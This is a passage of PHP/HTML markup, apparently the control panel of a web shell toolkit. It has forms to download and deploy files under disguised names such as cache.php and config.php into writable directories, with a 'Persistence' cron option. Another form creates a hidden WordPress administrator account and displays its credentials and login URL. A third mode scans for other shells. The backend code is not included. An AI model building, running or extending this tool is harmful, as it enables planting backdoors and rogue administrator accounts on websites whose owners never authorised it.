                        <option value="php">PHP</option>
                    </select>
                </div>
            </div>

            <div class="form-section">
                <h3>TARGET DIRECTORY</h3>
                <div class="form-group">
                    <label>Base Directory</label>
                    <input type="text" name="base_directory" value="<?php echo htmlspecialchars($auto_detected_dir); ?>" required>
                </div>
            </div>

            <div class="form-section">
                <h3>FILE NAMES</h3>
                <div class="form-group">
                    <label>File Names (one per line)</label>
                    <textarea name="file_names">cache.php
session.php
debug.php
log.php
config.php</textarea>
                </div>
            </div>

            <div class="form-section">
                <h3>OPTIONS</h3>
                <label><input type="checkbox" name="auto_chmod" checked> Auto CHMOD 644</label>
                <label><input type="checkbox" name="auto_cron"> Persistence</label>
            </div>

            <button type="submit" class="btn">DOWNLOAD & DEPLOY</button>
        </form>
        <?php endif; ?>

        <?php if ($current_mode == 'wordpress'): ?>
        <form method="POST">
            <input type="hidden" name="action" value="add_wp_admin">
            
            <div class="form-section">
                <h3>WORDPRESS ADMIN CREATOR</h3>
                <div class="alert alert-warning">
                    <strong>Note:</strong> This feature will create a new WordPress administrator user.
                </div>
                
                <div class="form-group">
                    <label>Base Directory (WordPress installation)</label>
                    <input type="text" name="base_directory" value="<?php echo htmlspecialchars($auto_detected_dir); ?>" required>
                    <small>Make sure wp-config.php exists in this directory or parent directories</small>
                </div>
                
                <div class="form-group">
                    <label>Username</label>
                    <input type="text" name="wp_username" value="admin<?php echo rand(100, 999); ?>" required>
                </div>
                
                <div class="form-group">
                    <label>Password</label>
                    <input type="text" name="wp_password" value="<?php echo bin2hex(random_bytes(8)); ?>" required>
                </div>
                
                <div class="form-group">
                    <label>Email</label>
                    <input type="email" name="wp_email" value="admin<?php echo rand(100, 999); ?>@example.com" required>
                </div>
            </div>

            <button type="submit" class="btn">ADD WORDPRESS ADMIN</button>
        </form>
        <?php endif; ?>

        <?php if ($current_mode == 'scanner'): ?>
        <form method="POST">
            <input type="hidden" name="action" value="scan_shells">
            
            <div class="form-section">
                <h3>SHELL SCANNER</h3>
                <div class="alert alert-warning">
                    <strong>Note:</strong> This feature scans for suspicious files without modifying them.
                </div>
                
                <div class="form-group">
                    <label>Directory to Scan</label>
                    <input type="text" name="scan_directory" value="<?php echo htmlspecialchars($auto_detected_dir); ?>" required>
                </div>
                
                <div class="form-group">
                    <label>Max Files to Scan</label>
                    <input type="number" name="max_files" value="100" min="10" max="1000">
                    <small>Higher values may cause timeout</small>
                </div>
            </div>

            <button type="submit" class="btn btn-warning">SCAN FOR SHELLS</button>
        </form>
        <?php endif; ?>

        <?php if ($result): ?>
            <div class="form-section">
                <h3>OPERATION RESULTS</h3>
                
                <?php if ($current_mode == 'normal' || $current_mode == 'remote'): ?>
                    <?php if ($saved_file): ?>
                        <div class="alert alert-success">
                            Results saved to: <?php echo $saved_file; ?>
                        </div>
                    <?php endif; ?>
                    
                    <?php if (isset($result['error'])): ?>
                        <div class="alert alert-error"><?php echo $result['error']; ?></div>
                    <?php else: ?>
                        <?php if (isset($result['download_method'])): ?>
                            <div class="alert alert-info">
                                Download method: <?php echo strtoupper($result['download_method']); ?>
                            </div>
                        <?php endif; ?>
                        
                        <div class="stats">
                            <div class="stat-card">
                                <div style="font-size: 24px;"><?php echo $result['deployed_count']; ?></div>
                                <div>Files Deployed</div>
                            </div>
                            <div class="stat-card">
                                <div style="font-size: 24px;"><?php echo $result['total_scanned']; ?></div>
                                <div>Directories Scanned</div>
                            </div>
                            <div class="stat-card">
                                <div style="font-size: 24px;"><?php echo $result['total_writable']; ?></div>
                                <div>Writable Directories</div>
                            </div>
                        </div>
                        
                        <?php if ($result['deployed_count'] > 0): ?>
                            <h4>Deployed Files:</h4>
                            <?php foreach ($result['files'] as $file): ?>
                                <div class="result-item">
                                    <a href="<?php echo htmlspecialchars($file['url']); ?>" target="_blank"><?php echo htmlspecialchars($file['url']); ?></a><br>
                                    <small>Path: <?php echo htmlspecialchars($file['path']); ?></small>
                                </div>
                            <?php endforeach; ?>
                        <?php else: ?>
                            <div class="alert alert-error">
                                No files were deployed. Check directory permissions.
                            </div>
                        <?php endif; ?>
                    <?php endif; ?>
                
                <?php elseif ($current_mode == 'wordpress'): ?>
                    <?php if (isset($result['error'])): ?>
                        <div class="alert alert-error"><?php echo $result['error']; ?></div>
                    <?php else: ?>
                        <div class="alert alert-success">
                            <h4>WordPress Admin Added Successfully!</h4>
                            <p><strong>Username:</strong> <?php echo htmlspecialchars($result['username']); ?></p>
                            <p><strong>Password:</strong> <?php echo htmlspecialchars($result['password']); ?></p>
                            <p><strong>Email:</strong> <?php echo htmlspecialchars($result['email']); ?></p>
                            <p><strong>User ID:</strong> <?php echo $result['user_id']; ?></p>
                            <p><strong>Login URL:</strong> <a href="<?php echo htmlspecialchars($result['login_url']); ?>" target="_blank"><?php echo htmlspecialchars($result['login_url']); ?></a></p>
                        </div>
                    <?php endif; ?>
                
                <?php elseif ($current_mode == 'scanner'): ?>
                    <?php if (isset($result['error'])): ?>
                        <div class="alert alert-error"><?php echo $result['error']; ?></div>
                    <?php else: ?>
                        <div class="stats">
                            <div class="stat-card">
                                <div style="font-size: 24px;"><?php echo $result['scanned_count']; ?></div>
                                <div>Files Scanned</div>
                            </div>
                            <div class="stat-card">
                                <div style="font-size: 24px;"><?php echo $result['total_suspicious']; ?></div>
                                <div>Suspicious Files</div>
                            </div>
                        </div>
                        
                        <?php if ($result['total_suspicious'] > 0): ?>
                            <h4>Suspicious Files Found:</h4>
                            <?php foreach ($result['suspicious_files'] as $file): ?>
                                <div class="file-item <?php echo $file['suspicious_score'] > 5 ? '' : 'warning'; ?>">
                                    <strong><?php echo htmlspecialchars($file['filename']); ?></strong>
                                    <br>
                                    <small>Path: <?php echo htmlspecialchars($file['path']); ?></small>
                                    <br>
                                    <small>Size: <?php echo $file['size']; ?> bytes | Modified: <?php echo $file['modified']; ?></small>
                                    <br>
                                    <small>Score: <?php echo $file['suspicious_score']; ?> | Patterns: <?php echo count($file['found_patterns']); ?></small>
                                </div>
                            <?php endforeach; ?>
                        <?php else: ?>
                            <div class="alert alert-success">
                                No suspicious files found in the scanned directory.
                            </div>
                        <?php endif; ?>
                    <?php endif; ?>
                <?php endif; ?>
            </div>
        <?php endif; ?>
    </div>
</body>
</html>